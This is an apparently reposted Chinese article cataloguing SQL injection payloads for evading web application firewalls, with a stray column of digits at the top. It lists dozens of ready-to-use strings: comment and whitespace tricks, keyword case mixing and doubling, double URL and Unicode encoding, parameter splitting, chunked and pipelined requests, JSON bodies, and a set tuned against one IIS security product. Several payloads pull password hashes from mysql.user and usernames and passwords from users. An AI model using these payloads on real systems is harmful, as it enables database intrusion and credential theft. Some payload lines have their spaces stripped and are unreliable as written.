0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

空格绕过
在 SQL 语句中,空格主要用于分隔关键字、标识符、操作符和值等,以使 SQL 语句更清晰、可读性更强,同时让数据库管理系统能够正确解析语句。如果在进行注入时参数中的空格被过滤掉,有很多其他字符或者注释符可以替代。
- 如果过滤时删除一个空格,则可以双写空格。
- %20空格
%a0 不间断空格
%09 TAB 键(水平制表符)
%0a 新建一行
%0b TAB 键(垂直垂直制表符)
%0c 新的一页
%0d 回车
3.可以将空格字符替换成注释 /**/
4.还可以使用内联注释/*!*/
其中version是5位数字的版本号,只有MySQL版本大于或者等于此版本才会执行其后的SQL语句,如果省略版本号,则都会执行:
select * from users where id=1 /*!union*//*!select*/1,2,3,4;
5.函数或编码生成:使用字符函数生成空格字符。例如,在MySQL中,可以使用CHAR(32)生成空格字符:SELECTCHAR(32)column1CHAR(32)FROMCHAR(32)table1
大小写绕过
在SQL注入攻击中,大小写绕过是一种常用技术,利用SQL对关键字不区分大小写的特性,绕过针对特定关键字的过滤措施。
实现方法:
混合大小写,将关键字的字母大小写混合使用。例如,将SELECT写成sEleCT,或将UNION写成UniOn。
双写关键字,通过重复关键字的部分内容,使其避开简单的过滤规则。例如,将SELECT写成SESELECTLECT。
浮点数绕过注入
在某些情况下,安全过滤机制可能只针对整数或字符串进行检查,而忽略了浮点数的表示。例如,输入1.0或1e0可能被视为有效输入,从而绕过过滤。
select * from users where id=8E0union select 1,2,3,4; (可省略浮点数和关键字间的空格)
select * from users where id=8.0union select 1,2,3,4;
Null值绕过
利用NULL值替代实际数据:在某些情况下,攻击者可以使用NULL值替代实际数据,以绕过输入验证或过滤机制。例如,在插入数据时,对某些字段进行了输入验证,但未考虑NULL值的情况。攻击者可以利用这一漏洞,插入包含NULL值的数据,从而绕过验证机制。
可省略浮点数和关键字间的空格,NULL可简写为\N
select * from users where id=\Nunion select 1,2,3,\N;
select * from users where id=\Nunion select 1,2,3,\Nfrom users;
引号绕过
如果 waf 拦截过滤单引号的时候,可以使用双引号, mysql 里也可以用双引号作为字符串。
select * from users where id='1';
select * from users where id="1";
如果服务器对引号进行了过滤,或者注入点是整形可以将payload转为十六进制进行绕过。HEX() 函数是 MySQL 中的一个内置函数,用于将输入值转换为其十六进制表示形式。
select * from users where username='admin';
select * from users where username=hex('admin');
select * from users where username=0x61646D696E;
添加库名绕过
以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则并不会拦
截[库名].[表名]这种模式。
select * from users where id=-1 union select 1,2,3,4 from users;
select * from users where id=-1 union select 1,2,3,4 from moonsec.users;
mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。
select * from users where id=-1 union select 1,2,3,concat(user,authentication_string)
from mysql.user;
distinct去重复绕过
在 mysql 查询可以使用 distinct 去除查询的重复值,有时使用这个关键字可以突破 waf 拦截。
select * from users where id=-1 union distinct select 1,2,3,4 from users;
select * from users where id=-1 union distinct select 1,2,3,version() from users;
反引号绕过
反引号(`)是一种特殊的字符,位于键盘上数字键 1 的左边(通常与波浪号 ~ 共享键位)。它与单引号(')和双引号(")不同,主要用于在 SQL 中标识数据库、表名或字段名。如果字段名或表名与 MySQL 的保留字相同,使用反引号可以避免语法冲突。例如:
SELECT `order` FROM `table`;
正常的字段加反引号和不加意义相同,因此可以使用反引号绕过一些 waf 拦截。
insert into users(username,password,email)values('moonsec','123456','admin@moonsec.com');
insert into users(`username`,`password`,`email`)values('moonsec','123456','admin@moonsec.com');
 
脚本语言特性绕过
在 php 中获取参数时 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一些 waf 的拦截。
id=1%00&id=2 union select 1,2,3
有些 waf 回去匹配第一个 id 参数 1%00 ,而%00 是截断字符,waf 会自动截断 从而不会检测后面的内容。到了程序中 id 就是等于 id=2 union select 1,2,3 从绕过注入拦截。
其他语言特性
逗号绕过
有些防注入脚本都会逗号进行拦截,因为常规注入中必须包含逗号:
select * from users where id=1 union select 1,2,3,4;
一般会对逗号过滤成空,这样SQL 语句就会出错:
select * from users where id=1 union select 1 2 3 4;
绕过方法如下:
1.构造boolean注入
用boolean注入逐步判断每个字符,避免union注入时要使用逗号的情况
select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));
Mid()函数跟 substr 函数功能相同 如果 substr 函数被拦截或者过滤可以使用
这个函数代替。
select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));
2.使用join关键字
在 MySQL 中,JOIN关键字用于将两个或多个表中的数据合并在一起。
union select 1,2
等价于
union select * from (select 1)a join (select 2)b
a 和 b 分别是表的别名
select * from users where id=-1 union select 1,2,3,4;
等价于
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join (select 4)d;
3.使用like模糊查询
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0 .
Select * from users where id=1 and (select user() like '%r%');
这种 SQL 注入语句也不会存在逗号,从而绕过 waf 拦截。找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串最后就是要查询的内容。
4.limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1 返回条一条记录 如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截。
or and xor not 绕过
目前主流的 waf 都会对or and xor not这些常见的逻辑连接符进行拦截,这些逻辑符可以换成等价的字符进行表示:
and 等于&&
or 等于 ||
not 等于 !
xor 等于|
所以可以转换成这样
id=1 and 1=1 等于 id=1 && 1=1
id=1 and 1=2 等于 id=1 && 1=2
id=1 or 1=1 等于 id=1 || 1=1
id=0 or 1=0 等于 id=0 || 1=0
如果一些 waf 拦截继续对注入测试语句进行安全检测,也可以使用运算符号:
id=1 && 2=1+1
id=1 && 2=1-1
ascii 字符对比绕过
许多 waf 会对 union select 进行拦截 而且通常比较变态,那么可以不使用联合查询注入,可以构造boolean注入对字符进行截取对比。
select * from users where id=1 and substring(user(),1,1)='r';
如果过滤单引号:
select * from users where id=1 and ascii(substring(user(),1,1))=114;
等号绕过
如果程序会对=进行拦截 可以使用 like、rlike、regexp或者使用<、>
1.使用大于、小于号
select * from users where id=1 and ascii(substring(user(),1,1))>114 and ascii(substring(user(),1,1))<116;
2.使用like运算符
LIKE 运算符用于在 WHERE 子句中搜索列中符合指定模式的行。它通常与通配符 % 和 _ 一起使用:
%:匹配任意数量的字符(包括零个字符);
_:匹配单个字符。
查找以 'b' 开头的名称:
SELECT * FROM pet WHERE name LIKE 'b%';
查找以 'fy' 结尾的名称:
SELECT * FROM pet WHERE name LIKE '%fy';
查找包含 'w' 的名称:
SELECT * FROM pet WHERE name LIKE '%w%';
查找正好有 5 个字符的名称:
SELECT * FROM pet WHERE name LIKE '_____';
select * from users where id=1 and (select substring(user(),1,1)like 'r%');
3.使用RLIKE(或 REGEXP)运算符
RLIKE 和 REGEXP 运算符用于在 WHERE 子句中执行正则表达式匹配。它们支持更复杂的模式匹配规则,包括字符类、重复次数等。
select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
select * from users where id=1 and 1=(select user() regexp '^r');
双关键词绕过
有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐患。
id=-1'UNIunionONSeLselectECT1,2,3--+
到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ 从而绕过注入拦截。
二次编码绕过
有些程序能够解析二次编码,但是waf 不会拦截url 两次编码过后的字符串,这就产生了了注入漏洞。
-1 union select 1,2,3,4#
第一次转码
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32
%2c%33%2c%34%23
第二次转码
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%2
5%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%
36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33
%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
多参数拆分绕过
如果存在多个可控参数拼接到同一条 SQL 语句中,可以将注入的payload分割插入,这样可以实现对一些关键字的绕过。
如果使用 union select 会被 waf 拦截,但是在程序代码中看到两个可控的参数,例如请求 get 参数 id=[input1]&username=[input2] 而且参数id和username被拼接在 SQL 语句中,那么可以使用参数拆份请求绕过 waf 拦截。
Select * from users where id='$_GET[id]' and username='$_GET[username]';
输入id=-1'union/*&username=*/select 1,user(),3,4--+
Select * from users where id=-1'union/* and username=*/select 1,user(),3,4--+
使用生僻函数绕过
使用生僻函数替代常见的函数,例如在报错注入中使用 polygon()函数替换常用的 updatexml()函数。POLYGON() 函数用于定义一个多边形。多边形是由一系列线性环(LinearRing)组成的几何对象,每个线性环由一系列点(Point)定义。这些点通过坐标(通常是经纬度)来指定,形成一个多边形的边界。
select polygon((select * from (select * from (select @@version) f) x));
分块传输绕过
一、什么是 chunked 编码?
分块传输编码(Chunked transfer encoding)是指在HTTP/1.1中提供的一种数据传送机制。以往 HTTP 的应答中数据是整个一起发送的,并在应答头里 Content-Length 字段标识了数据的长度,以便客户端知道应答消息的结束。
传统的 Content-length 解决方案:计算实体长度,并通过头部告诉对方。浏览器
可以通过 Content-Length 的长度信息,判断出响应实体已结束
Content-length 面临的问题:由于 Content-Length 字段必须真实反映实体长度,
但是对于动态生成的内容来说,在内容创建完之前,长度是不可知的。这时候要想准确获取长度,只能开一个足够大的 buffer,等内容全部生成好再计算。这样做一方面需要更大的内存开销,另一方面也会让客户端等更久。
我们需要一个新的机制:不依赖头部的长度信息,也能知道实体的边界——分块编码(Transfer-Encoding: chunked)。对于动态生成的应答内容来说,内容在未生成完成前总长度是不可知的。分块传输编码允许服务器在最后发送消息头字段。例如在头中添加散列签名。对于压缩传输传输而言,可以一边压缩一边传输。
如何使用 chunked 编码:如果在 http 的消息头里 Transfer-Encoding 为 chunked,那么就是使用此种编码方式。接下来会发送数量未知的块,每一个块的开头都有一个十六进制的数,表明这个块的大小,然后接 CRLF("\r\n")。然后是数据本身,数据结束后,还会有CRLF("\r\n")两个字符。有一些实现中,块大小的十六进制数和 CRLF 之间可以有空格。最后一块的块大小为 0,表明数据发送结束。最后一块不再包含任何数据,但是可以发送可选的尾部,包括消息头字段,消息最后以 CRLF 结尾。
绕过WAF的检测规则:WAF通常根据预定义的规则来检测和阻止恶意请求。然而,有些WAF可能无法正确解析采用分块传输编码的请求体,导致其忽略其中的恶意SQL语句,从而使攻击得以实施。因为分块传输将恶意负载拆分成多个小块,攻击者可以避免触发WAF的完整匹配规则。例如,将id=1 and 1=1 --拆分为多个部分发送,可能绕过WAF的检测。
信任白名单绕过
有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可
以利用这个特点,可以试试白名单绕过。
白名单通常有目录
/admin
/phpmyadmin
/admin.php
a=/admin.php&name=vince+&submit=1
静态文件绕过
除了白名单信任文件和目录外,还有一部分 waf 并不会对静态文件进行拦截。
例如 图片文件 jpg 、png 、gif 或者 css 、js 会对这些静态文件的操作不会
进行检测从而绕过 waf 拦截。
a=/1.jpg&name=vince+&submit=1
pipline 绕过注入
http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接 tcp 连接,然后发送 http 数据包(即我们用 burpsuite 截获的数据)。其中包含了一个 Connection 字段,一般值为 close,apache 等容器根据这个字段决定是保持该 tcp 连接或是断开。当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成 keep-alive,即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。
用 burpsuite 抓包提交 复制整个包信息放在第一个包最后,把第一个包 close 改
成 keep-alive 把 brupsuite 自动更新 Content-Length 勾去掉。第一个包参数的字符要加上长度接着提交即可。有些 waf 会匹配第一个包的正属于正常参数,不会对第二个包的参数进行检测,这样就可以绕过一些 waf 拦截。
multipart/form-data 绕过
在 http 头里的 Content-Type 提交表单支持三种协议
application/x-www-form-urlencoded 编码模式 post 提交
multipart/form-data 文件上传模式
text/plain 文本模式
文件头的属性 是传输前对提交的数据进行编码发送到服务器。
其中 multipart/form-data 表示该数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。
Content-Type: multipart/form-data;
boundary=---------------------------28566904301101419271642457175
boundary 这是用来匹配的值
Content-Disposition: form-data; name="id"
这也能作为 post 提交
还可以更进一步,进行参数污染
实战 | WAF-Bypass之SQL注入绕过思路总结 | 长亭百川云
order by 绕过
当 order by 被过滤时,无法猜解字段数,此时可以使用 into 变量名进行代替。 select * from users where id=1 into @a,@b,@c,@d;
这条SQL语句的作用是从 users 表中查询 id 为 1 的记录,并将该记录的各字段值依次存储到用户定义的会话变量 @a、@b、@c 和 @d 中。SELECT 语句中的列数必须与 INTO 子句中的变量数相等,否则会报错。(查询结果必须是0行或1行否则也会报错)
http 相同参数请求绕过
waf 在对危险字符进行检测的时候,分别为 post 请求和 get 请求设定了不同的匹配规则。如果请求被拦截,变换请求方式有几率能绕过检测。程序同时接收get、post 的参数时,有时waf 只对 get 进行匹配拦截,没有对 post 进行拦截。 有些 waf 只要存在POST,就优先匹配 POST 从而导致被绕过。
application/json或者text/xml绕过
有些程序是json提交参数,程序也是json接收并解析后再将拼接到SQL语句中执行,json格式通常不会被拦截,所以可以绕过waf。同样text/xml也不会被拦截。
POST/06/vul/sqli/sqli_id.phpHTTP/1.1
Host:192.168.0.115
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:88.0)Gecko/20100101Firefox/88.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Content-Type:application/json
Content-Length:38
Origin:http://192.168.0.115
Connection:close
Referer:http://192.168.0.115/06/vul/sqli/sqli_id.php
Cookie:PHPSESSID=e6sa76lft65q3fd25bilbc49v3;security_level=0
Upgrade-Insecure-Requests:1
{'id':1unionselect1,2,3,'submit':1}
字符溢出绕过
使用select 0xA填充大量字符,突破一些waf拦截(猜测是长度突破了WAF的过滤范围)
id=1 and (select1)=(select 0xA*1000)/*!union*//*!select*/1,user()
花扩号绕过
select1,2 union select {xxx 1},user();
花括号左边xxx是注释的内容不是字段名的一部分,真正的字段名是1,这样可以绕过一些waf的拦截。所以这个语句等效为:
select1,2 union select 1,user();
使用ALL或者DISTINCT绕过
WAF过滤UNION SELECT两个关键字时可以使用ALL或者DISCTINCT绕过
去掉重复值
select1,2from users where user_id=1 union select DISTINCT1,2
select1,2from users where user_id=1 union DISTINCT select1,2
显示全部
select1,2from users where user_id=1union select all1,2
select1,2from users where user_id=1union all select1,2
换行混绕绕过
目前很多waf都会对union select进行过滤的因为使用联合查询这两个关键词是必须的,一般过滤这个两个字符想用联合查询就很难了。可以使用换行加上一些注释符进行绕过:
select 1,2 from users union
/*
Asdf
Asdf
Asdf
Asdf
Asdf
*/
select 1,user();
或者将union select这两个关键字进行编码:
%75%6e%69%6f%6e%20%73%65%6c%65%63%74
编码绕过
Url编码形式:“%”加上ASCII码(先将字符转换为两位ASCII码,再转为16进制),其中加号“+”在URL编码中和“%20”表示一样,均为空格。当遇到非ASCII码表示的字符时,如中文,浏览器或通过编写URLEncode,根据UTF-8、GBK等编码16进制形式,进行转换。如“春”的UTF-8编码为E698A5,因此其在支持UTF-8的情况下,URL编码为%E6%98%A5。在URL传递到后台时,首先web容器会自动先对URL进行解析。容器解码时,会根据设置(如jsp中,会使用request.setCharacterEncoding("UTF-8")),采用UTF-8或GBK等其中一种编码进行解析。
有时从客户端提交的URL无法确定是何种编码,如果服务器选择的编码方式不匹配,则会造成中文乱码。为了解决这个问题,便出现了二次URLEncode
的方法。在客户端对URL进行两次URLEncode,这样类似上文提到的%E6%98%A5则会编码为%25e6%2598%25a5,为纯ASCII码。Web容器在接到URL后,自动解析一次,因为不管容器使用何种编码进行解析,都支持ASCII 码,不会出错。然后在通过编写程序对容器解析后的参数进行解码,便可正确得到参数。在这里,客户端的第一次编码,以及服务端的第二次解码,均是由程序员自己设定的,是可控的,可知的。
绕过原理:有些waf并未对参数进行解码,而后面程序处理业务时会进行解码,因此可以通过二次url编码绕过。
HTTP数据编码绕过
通常waf只坚持他所识别的编码,比如说它只识别utf-8的字符,但是服务器可以识别比utf-8更多的编码。那么我们只需要将payload按照waf识别不了但是服务器可以解析识别的编码格式即可绕过。例如,如果服务器支持ibm037编码格式而WAF不支持,我们便可以更改请求包中的Content-Type的charset的参数值为ibm037,将payload也改成这个编码格式。
url编码绕过
在iis里会自动把url编码转换成字符串传到程序中执行,因此可以把被WAF过滤的字符(串)部分或全部转换成url编码。例如unionselect可以转换成u%6eions%65lect
Unicode编码绕过
Unicode编码形式:“\u”或者是“%u”加上4位16进制Unicode码值。
iis会自动进行识别这种编码但部分waf并不会拦截这这种编码
-1unionselect1,user()
部分转码
-1uni%u006fnsel%u0065ct1,user()
全部转码
%u002d%u0031%u0020%u0075%u006e%u0069%u006f%u006e%u0020%u0073%u
0065%u006c%u0065%u0063%u0074%u0020%u0031%u002c%u0075%u0073%u00
65%u0072%u0028%u0029
union select绕过
针对单个关键词绕过
sel<>ect 条件:程序过滤<>为空
sele/**/ct 条件:程序过滤/**/为空
/*!%53eLEct*/ url编码与内联注释
se%0blect 将空格过滤为空
sele%ct 在iis中使用百分号绕过
%53eLEct 编码绕过
不少waf都会使用都会对unionselect进行拦截单个不拦截一起就进行拦截。
uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select1,2
null+UNION+SELECT+1,2
and(select 1)=(Select 0xA*1000)/*!uNIOn*//*!SeLECt*/1,user()
union/**/select/**/1,2
/**/union/**/select/**/1,2;
/*中文*/union/*中文*/select/*中文*/1,2;
/*!union*//*!select*/1,2
/*!12345union*//*!12345select*/1,2;
/*!union*//*!00000all*//*!00000select*/1,2
/*!50000union*//*!50000select*/1,2
/*!40000union*//*!40000select*/1,2
%0aunion%0aselect1,2
%250aunion%250aselect1,2
%09union%09select1,2
%0caunion%0cselect1,2
%0daunion%0dselect1,2
%0baunion%0bselect1,2
%0d%0aunion%0d%0aselect1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
iis安全狗注入绕过
Post 数字整形 IIs8.5 union注入
id=1+and+1%3d1%23
id=1+union+select+1,2%23
id=1+order+by+1,2%23
id=1+union+select+User(),database()%23
id=1+union+select+User/**/(),database/**/()%23
id=-1+union+select+username,password+from+users+limit+1%23
GET 整形数字
id=1+and+1=1--+
id=1+and+=--+
id=1+and+1--+
id=1+and+0x31!=0x32--+
id=1+and+substr()--+
id=1+and+substring()--+
id=1+and+substring(version(),1,1)!=1--+
id=1+and+substring(@@version,1,1)!=1--+
输入:id=1+and+substring(@@version+from+1+for+1)=5--+
构造Boolean注入
输入:id=1+and+substring((select+username+from+`users`+limit+1)+from+1+for+1)='a'--+
GET
字符型
输入:vince'
输入:vince' and 1=1#
输入:vince'#
输入:vince' and #
输入:vince' and =#
输入:vince' and 1#
输入:vince' and '1' #
输入:vince' and 0x31!=0x32'
同数字型一样,构造boolean注入,输入:
name=vince'+and+substring((select+username+from+`users`+limit+1)+from+1+for+1)='a'--+
尝试构造union注入
输入:name=-1%27+union+select--+
name=-1%27+union+all+select--+
name=-1%27+union+distinct+select--+
构造Union注入,输入:
name=-1%27+union/*//--//*/select+username,password+from+`users`+limit+1--+
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)